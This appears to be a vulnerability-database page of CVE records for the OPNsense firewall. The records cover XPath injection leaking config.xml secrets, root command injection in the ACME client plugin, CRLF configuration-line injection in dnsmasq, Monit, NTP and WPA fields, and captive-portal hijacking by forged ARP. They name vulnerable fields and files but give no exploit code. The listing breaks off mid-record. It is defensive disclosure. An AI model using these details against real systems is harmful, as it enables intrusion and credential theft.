OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.
Severity
7.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/e2cd06734… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/fc2f0d745… | x_refsource_MISC |
| http://seclists.org/fulldisclosure/2026/Jul/18 |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2026-10-15T15:12:04.797Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://seclists.org/fulldisclosure/2026/Jul/18"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-53582",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:37.654161Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:42.903Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91: XML Injection (aka Blind XPath Injection)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-643",
"description": "CWE-643: Improper Neutralization of Data within XPath Expressions (\u0027XPath Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:08:46.374Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"name": "https://github.com/opnsense/core/commit/e2cd067343511252fb0d391a17d82d3ecceece45",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e2cd067343511252fb0d391a17d82d3ecceece45"
},
{
"name": "https://github.com/opnsense/core/commit/fc2f0d745c17855d2027b192fd4e3fa913e26859",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/fc2f0d745c17855d2027b192fd4e3fa913e26859"
}
],
"source": {
"advisory": "GHSA-xww7-76m6-mh2r",
"discovery": "UNKNOWN"
},
"title": "OPNsense: XPATH Injection can disclose any secret in config.xml"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-53582",
"datePublished": "2026-10-15T15:08:46.374Z",
"dateReserved": "2026-06-09T19:11:53.484Z",
"dateUpdated": "2026-10-16T17:13:42.903Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-123025 (GCVE-0-2026-123025)
Vulnerability from cvelistv5 – Published: 2026-11-05 06:29 – Updated: 2026-11-05 06:29 X_Open Source
VLAI
EPSS
VEX
Summary
An OS Command Injection vulnerability was discovered in the Google Cloud DNS validation module of the OPNsense os-acme-client plugin through 4.17. The DnsGcloud::prepare() method decodes the dns_gcloud_key model field and directly interpolates the string fields gcloud_account and gcloud_project into a shell command passed to proc_open() via LeUtils::run_shell_command() without any validation or escaping. A remote authenticated user with privileges to issue or renew certificates through the WebGUI/API can achieve arbitrary code execution as root.
Severity
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OPNsense | os-acme-client |
Affected:
0 , ≤ 4.17.0
(semver)
|
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"platforms": [
"FreeBSD"
],
"product": "os-acme-client",
"repo": "https://github.com/opnsense/plugins",
"vendor": "OPNsense",
"versions": [
{
"lessThanOrEqual": "4.17.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An OS Command Injection vulnerability was discovered in the Google Cloud DNS validation module of the OPNsense os-acme-client plugin through 4.17. The DnsGcloud::prepare() method decodes the dns_gcloud_key model field and directly interpolates the string fields gcloud_account and gcloud_project into a shell command passed to proc_open() via LeUtils::run_shell_command() without any validation or escaping. A remote authenticated user with privileges to issue or renew certificates through the WebGUI/API can achieve arbitrary code execution as root."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T06:29:05.916Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"url": "https://github.com/opnsense/plugins/pull/5873"
}
],
"tags": [
"x_open-source"
],
"x_generator": {
"engine": "CVE-Request-form 0.0.1"
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2026-123025",
"datePublished": "2026-11-05T06:29:05.916Z",
"dateReserved": "2026-11-05T06:29:05.539Z",
"dateUpdated": "2026-11-05T06:29:05.916Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-57154 (GCVE-0-2026-57154)
Vulnerability from cvelistv5 – Published: 2026-11-03 18:10 – Updated: 2026-11-03 18:10
VLAI
EPSS
VEX
Title
OPNsense: Configuration line injection via multiple GUI text fields
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1.
Severity
8.1 (High)
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/52b18e67a… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/6c3be9a11… | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-03T18:10:28.787Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w"
},
{
"name": "https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293"
},
{
"name": "https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7"
}
],
"source": {
"advisory": "GHSA-fq94-cxvc-9r7w",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Configuration line injection via multiple GUI text fields"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-57154",
"datePublished": "2026-11-03T18:10:28.787Z",
"dateReserved": "2026-06-24T01:45:48.698Z",
"dateUpdated": "2026-11-03T18:10:28.787Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119560 (GCVE-0-2026-119560)
Vulnerability from cvelistv5 – Published: 2026-10-30 11:31 – Updated: 2026-10-30 15:54
VLAI
EPSS
VEX
Title
OPNsense core through 26.7.8 NTP Configuration Injection via GPS and PPS Fudge Fields
Summary
OPNsense core through 26.7.8 contains a configuration injection vulnerability that allows authenticated users to append ntpd.conf directives by embedding newlines in the fudge and refid fields. Attackers holding the page-services-ntp-gps or PPS privilege can submit CR/LF characters via services_ntpd_gps.php or services_ntpd_pps.php to inject directives loaded by ntpd running as root.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-30 15:21 UTC
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/blob/26.7.8/src/… | technical-description |
| https://github.com/opnsense/core/blob/26.7.8/src/… | technical-description |
| https://github.com/opnsense/core/security/advisor… | relatedvendor-advisory |
| https://abraxaslabs.tech/research/opnsense-ntp-gp… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-cor… | third-party-advisory |
Impacted products
Date Public
2026-10-13 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119560",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-30T15:21:08.046274Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T15:54:16.495Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThanOrEqual": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndIncluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abraxas Labs"
}
],
"datePublic": "2026-10-13T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core through 26.7.8 contains a configuration injection vulnerability that allows authenticated users to append ntpd.conf directives by embedding newlines in the fudge and refid fields. Attackers holding the page-services-ntp-gps or PPS privilege can submit CR/LF characters via services_ntpd_gps.php or services_ntpd_pps.php to inject directives loaded by ntpd running as root."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6,
"baseSeverity": "MEDIUM",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:31:08.977Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.8/src/etc/inc/plugins.inc.d/ntpd.inc#L285-L312"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.8/src/www/services_ntpd_gps.php#L49"
},
{
"name": "GitHub Security Advisory (GHSA-fq94-cxvc-9r7w)",
"tags": [
"related",
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-ntp-gps-fudge"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense core through 26.7.8 NTP Configuration Injection via GPS and PPS Fudge Fields",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-core-through-26.7.8-ntp-configuration-injection-via-gps-and-pps-fudge-fields"
}
],
"title": "OPNsense core through 26.7.8 NTP Configuration Injection via GPS and PPS Fudge Fields",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119560",
"datePublished": "2026-10-30T11:31:08.977Z",
"dateReserved": "2026-10-30T10:53:29.701Z",
"dateUpdated": "2026-10-30T15:54:16.495Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119425 (GCVE-0-2026-119425)
Vulnerability from cvelistv5 – Published: 2026-10-30 11:30 – Updated: 2026-10-30 15:55
VLAI
EPSS
VEX
Title
OPNsense 26.1.6 through 26.7.7 Captive Portal Session Takeover via Forged ARP
Summary
OPNsense core 26.1.6 through 26.7.7 contains an authentication bypass vulnerability in the captive portal roaming feature that lets unauthenticated attackers hijack authorized client sessions by spoofing unauthenticated MAC-to-IP observations. Attackers on the same Layer-2 segment can send forged gratuitous ARP replies binding their IP to a victim's MAC, gaining portal access with traffic attributed to the victim.
Severity
5.4 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-30 15:20 UTC
CWE
- CWE-290 - Authentication Bypass by Spoofing
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
| https://github.com/opnsense/core/commit/f46836d0c… | patch |
| https://github.com/opnsense/core/commit/32dc2a3e5… | patch |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://abraxaslabs.tech/research/opnsense-captiv… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-26.… | third-party-advisory |
Impacted products
Date Public
2026-08-26 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119425",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-30T15:20:58.656589Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T15:55:05.938Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThanOrEqual": "26.7.7",
"status": "affected",
"version": "26.1.6",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndIncluding": "26.7.7",
"versionStartIncluding": "26.1.6",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "lujiefsi"
},
{
"lang": "en",
"type": "reporter",
"value": "Abraxas Labs"
}
],
"datePublic": "2026-08-26T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core 26.1.6 through 26.7.7 contains an authentication bypass vulnerability in the captive portal roaming feature that lets unauthenticated attackers hijack authorized client sessions by spoofing unauthenticated MAC-to-IP observations. Attackers on the same Layer-2 segment can send forged gratuitous ARP replies binding their IP to a victim\u0027s MAC, gaining portal access with traffic attributed to the victim."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "ADJACENT",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-290",
"description": "Authentication Bypass by Spoofing",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:55.121Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-864r-q4j5-5mjq)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-864r-q4j5-5mjq"
},
{
"name": "Incomplete fix",
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/f46836d0c3d14e26d79214009bfbfa9a1eecab55"
},
{
"name": "Incomplete fix (stable/26.7)",
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/32dc2a3e52eefef5251077f315a0f3243eedb834"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/scripts/captiveportal/cp-background-process.py#L78"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-captive-lastseen-roam"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense 26.1.6 through 26.7.7 Captive Portal Session Takeover via Forged ARP",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-26.1.6-through-26.7.7-captive-portal-session-takeover-via-forged-arp"
}
],
"title": "OPNsense 26.1.6 through 26.7.7 Captive Portal Session Takeover via Forged ARP",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119425",
"datePublished": "2026-10-30T11:30:55.121Z",
"dateReserved": "2026-10-30T02:41:13.938Z",
"dateUpdated": "2026-10-30T15:55:05.938Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119424 (GCVE-0-2026-119424)
Vulnerability from cvelistv5 – Published: 2026-10-30 11:30 – Updated: 2026-10-30 11:30
VLAI
EPSS
VEX
Title
OPNsense before 26.7.8 Wireless WPA Configuration Line Injection via Identity
Summary
OPNsense core before 26.7.8 contains a configuration line injection vulnerability that allows authenticated users with wireless-edit privilege to inject directives by embedding CR/LF characters in WPA fields. Attackers can place newlines in wpa.identity, wpa.passphrase, or RADIUS shared secrets to append arbitrary wpa_supplicant or hostapd directives loaded by root-run daemons.
Severity
6.8 (Medium)
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/commit/9f1eac0f9… | patch |
| https://github.com/opnsense/core/commit/3bbd714b4… | patch |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://abraxaslabs.tech/research/opnsense-wlan-w… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-bef… | third-party-advisory |
Impacted products
Date Public
2026-10-14 00:00
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThan": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndExcluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abraxas Labs"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ad Schellevis"
}
],
"datePublic": "2026-10-14T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core before 26.7.8 contains a configuration line injection vulnerability that allows authenticated users with wireless-edit privilege to inject directives by embedding CR/LF characters in WPA fields. Attackers can place newlines in wpa.identity, wpa.passphrase, or RADIUS shared secrets to append arbitrary wpa_supplicant or hostapd directives loaded by root-run daemons."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:54.395Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/9f1eac0f9bdf705766ab61f9d62b9d55757fd0da"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/3bbd714b4c4b60f164e2e908501f208d3eadf645"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/mvc/app/models/OPNsense/Interfaces/Wlan.xml#L185"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/etc/inc/interfaces.inc#L1901"
},
{
"tags": [
"third-party-advisory"
],
